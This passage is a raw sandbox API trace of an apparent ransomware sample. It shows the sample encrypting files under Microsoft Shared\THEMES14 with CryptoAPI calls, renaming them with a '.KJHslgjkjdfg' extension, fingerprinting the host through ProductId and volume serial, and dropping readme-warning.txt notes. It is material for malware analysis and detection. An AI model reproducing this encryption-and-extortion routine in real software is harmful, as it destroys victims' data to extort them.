hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x6220, dwBufLen=0x6220 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x6220) returned 1 [0172.330] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.330] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6220, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x6220, lpOverlapped=0x0) returned 1 [0172.330] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.330] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x62f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.330] SetEndOfFile (hFile=0x12c) returned 1 [0172.333] GetProcessHeap () returned 0x990000 [0172.333] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0172.333] GetProcessHeap () returned 0x990000 [0172.333] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0172.333] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0172.340] CloseHandle (hObject=0x12c) returned 1 [0172.340] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6212, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0172.340] GetProcessHeap () returned 0x990000 [0172.340] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0172.340] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.340] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0172.340] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.340] GetProcessHeap () returned 0x990000 [0172.341] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0172.341] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.341] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0172.341] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.341] GetProcessHeap () returned 0x990000 [0172.341] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9fb9f0 [0172.341] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.341] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9fb9f0, pdwDataLen=0x29dee20 | out: pbData=0x9fb9f0, pdwDataLen=0x29dee20) returned 1 [0172.341] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.341] GetProcessHeap () returned 0x990000 [0172.341] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0172.341] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.341] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0172.341] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.341] GetProcessHeap () returned 0x990000 [0172.341] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0172.341] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.341] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0172.341] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.341] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x12c) returned 0x0 [0172.342] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0172.342] RegCloseKey (hKey=0x12c) returned 0x0 [0172.342] GetProcessHeap () returned 0x990000 [0172.342] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0172.342] GetProcessHeap () returned 0x990000 [0172.342] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0172.342] GetProcessHeap () returned 0x990000 [0172.342] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0172.342] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.342] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0172.342] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.342] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0172.342] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0172.342] GetProcessHeap () returned 0x990000 [0172.342] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0172.342] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0172.343] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0172.343] GetProcessHeap () returned 0x990000 [0172.343] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0172.343] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\readme-warning.txt") returned 79 [0172.343] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.343] WriteFile (in: hFile=0x12c, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0172.344] CloseHandle (hObject=0x12c) returned 1 [0172.345] GetProcessHeap () returned 0x990000 [0172.345] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9fb9f0 | out: hHeap=0x990000) returned 1 [0172.345] GetProcessHeap () returned 0x990000 [0172.345] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0172.345] GetProcessHeap () returned 0x990000 [0172.345] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0172.345] GetProcessHeap () returned 0x990000 [0172.345] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0172.345] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0172.345] GetProcessHeap () returned 0x990000 [0172.345] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0172.345] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ECLIPSE", cAlternateFileName="")) returned 1 [0172.345] GetProcessHeap () returned 0x990000 [0172.345] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x90) returned 0x9b0940 [0172.345] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0172.346] GetProcessHeap () returned 0x990000 [0172.346] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0172.347] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0172.347] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9d57e00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51eb22b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9d57e00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1cf31, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ECLIPSE.ELM", cAlternateFileName="")) returned 1 [0172.347] GetProcessHeap () returned 0x990000 [0172.347] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x292) returned 0x9b1eb0 [0172.347] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.347] GetProcessHeap () returned 0x990000 [0172.347] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0172.347] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0172.347] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0172.347] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xf, lpOverlapped=0x0) returned 1 [0172.349] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.349] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.349] GetProcessHeap () returned 0x990000 [0172.349] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0172.349] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0172.349] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.349] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0172.349] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0172.349] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0172.350] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0172.350] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0172.350] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0172.350] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.350] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.350] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.350] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1cf31, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x1cf31, lpOverlapped=0x0) returned 1 [0172.352] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x1cf40, dwBufLen=0x1cf40 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x1cf40) returned 1 [0172.353] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.353] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1cf40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x1cf40, lpOverlapped=0x0) returned 1 [0172.354] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.354] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x1d014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.354] SetEndOfFile (hFile=0x12c) returned 1 [0172.357] GetProcessHeap () returned 0x990000 [0172.357] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0172.357] GetProcessHeap () returned 0x990000 [0172.357] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0172.358] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.elm.kjhslgjkjdfg")) returned 1 [0172.364] CloseHandle (hObject=0x12c) returned 1 [0172.364] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x253, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ECLIPSE.INF", cAlternateFileName="")) returned 1 [0172.365] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.366] GetProcessHeap () returned 0x990000 [0172.366] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0172.366] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0172.366] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0172.366] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xd, lpOverlapped=0x0) returned 1 [0172.369] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.369] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.369] GetProcessHeap () returned 0x990000 [0172.369] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0172.369] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0172.369] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.369] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0172.369] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0172.369] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0172.369] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0172.369] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0172.370] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0172.370] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.370] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.370] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.370] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x253, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x253, lpOverlapped=0x0) returned 1 [0172.370] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x260, dwBufLen=0x260 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x260) returned 1 [0172.370] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.370] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x260, lpOverlapped=0x0) returned 1 [0172.370] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.370] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x334, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.370] SetEndOfFile (hFile=0x12c) returned 1 [0172.373] GetProcessHeap () returned 0x990000 [0172.374] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0172.374] GetProcessHeap () returned 0x990000 [0172.374] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0172.374] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.inf.kjhslgjkjdfg")) returned 1 [0172.380] CloseHandle (hObject=0x12c) returned 1 [0172.380] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0172.380] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.384] GetProcessHeap () returned 0x990000 [0172.384] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0172.384] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0172.384] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0172.384] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xd, lpOverlapped=0x0) returned 1 [0172.386] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.386] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.386] GetProcessHeap () returned 0x990000 [0172.386] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0172.386] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: 